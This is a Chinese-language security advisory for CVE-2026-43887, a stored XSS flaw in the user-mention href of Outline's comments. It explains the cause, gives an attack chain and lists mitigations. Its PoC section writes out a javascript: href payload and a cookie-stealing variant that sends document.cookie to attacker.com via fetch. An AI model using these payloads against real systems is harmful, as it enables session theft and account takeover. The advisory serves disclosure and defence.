IPBUF安全漏洞报告
English
CVE-2026-43887 CVSS 7.3 高危

CVE-2026-43887 Outline 评论功能存储型XSS漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-43887
漏洞类型
存储型跨站脚本攻击 (Stored XSS)
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Outline

相关标签

XSS存储型XSSOutline客户端代码执行CWE-79

漏洞概述

Outline是一款允许协作文档编写的服务。在0.84.0至1.6.1版本中,Outline的评论部分允许用户提及(mention)其他用户,但后端在处理这些提及时,未对关联的`href`属性进行有效的验证或清理。这导致危险的协议(如`javascript:`)未被过滤,引入了客户端代码执行的风险。攻击者可以利用此漏洞在受害者浏览器中执行恶意JavaScript代码,窃取敏感信息或劫持会话。该漏洞已在1.7.0版本中修复。

技术细节

该漏洞源于Outline后端对于用户生成内容(特别是评论中的“提及”功能)的过滤机制存在缺陷。当用户在评论中提及其他用户时,系统通常会生成一个指向该用户资料的HTML锚点标签(<a>)。在受影响版本中,后端未对`href`属性的值进行严格的安全校验和清洗,直接将用户输入的数据渲染到HTML中。攻击者首先需要拥有Outline平台的普通用户权限(PR:L)。随后,攻击者可以在发布评论时,利用API或前端输入的缺陷,将提及链接的`href`属性修改为`javascript:alert(1)`或其他恶意代码。由于这是一个存储型XSS漏洞,恶意数据会被持久化保存在数据库中。当其他用户(尤其是管理员)浏览包含该恶意评论的文档页面时(UI:R),浏览器会解析HTML标签并执行`javascript:`协议后的脚本。这可能导致Cookie窃取、账户接管或进一步的客户端攻击。CVSS向量表明该漏洞通过网络攻击,攻击复杂度低,且对机密性和完整性影响较高。

攻击链分析

STEP 1
1. 获取访问权限
攻击者在受影响的Outline平台上注册一个普通用户账号。
STEP 2
2. 构造恶意Payload
攻击者构造包含javascript:伪协议的恶意链接,利用评论中的用户提及功能作为注入点。
STEP 3
3. 注入恶意代码
攻击者发布包含恶意Payload的评论,后端未过滤href属性并将其存储在数据库中。
STEP 4
4. 诱导触发
受害者(如管理员)访问包含该评论的文档页面,浏览器加载并解析恶意HTML标签。
STEP 5
5. 执行恶意操作
浏览器执行JavaScript代码,攻击者成功获取受害者的Session信息或执行未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-43887 Description: Stored XSS via Mention href attribute in Outline. --> <!-- Exploitation Steps: 1. Login to Outline instance. 2. Create a comment in a document. 3. Trigger a user mention or manipulate the request to inject a javascript: protocol into the href. 4. The resulting HTML will look like this: --> <a href="javascript:alert('CVE-2026-43887-XSS')">@victim_user</a> <!-- 5. When any user views the comment, the alert box will execute. Alternative Payload to steal cookies: --> <a href="javascript:fetch('https://attacker.com/?c='+document.cookie)">@admin</a>

影响范围

Outline 0.84.0 至 1.6.1

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用文档评论功能或限制外部用户的注册与交互。同时,部署Web应用防火墙(WAF)以检测和拦截包含`javascript:`等敏感字符的HTTP请求,降低被攻击的风险。

参考链接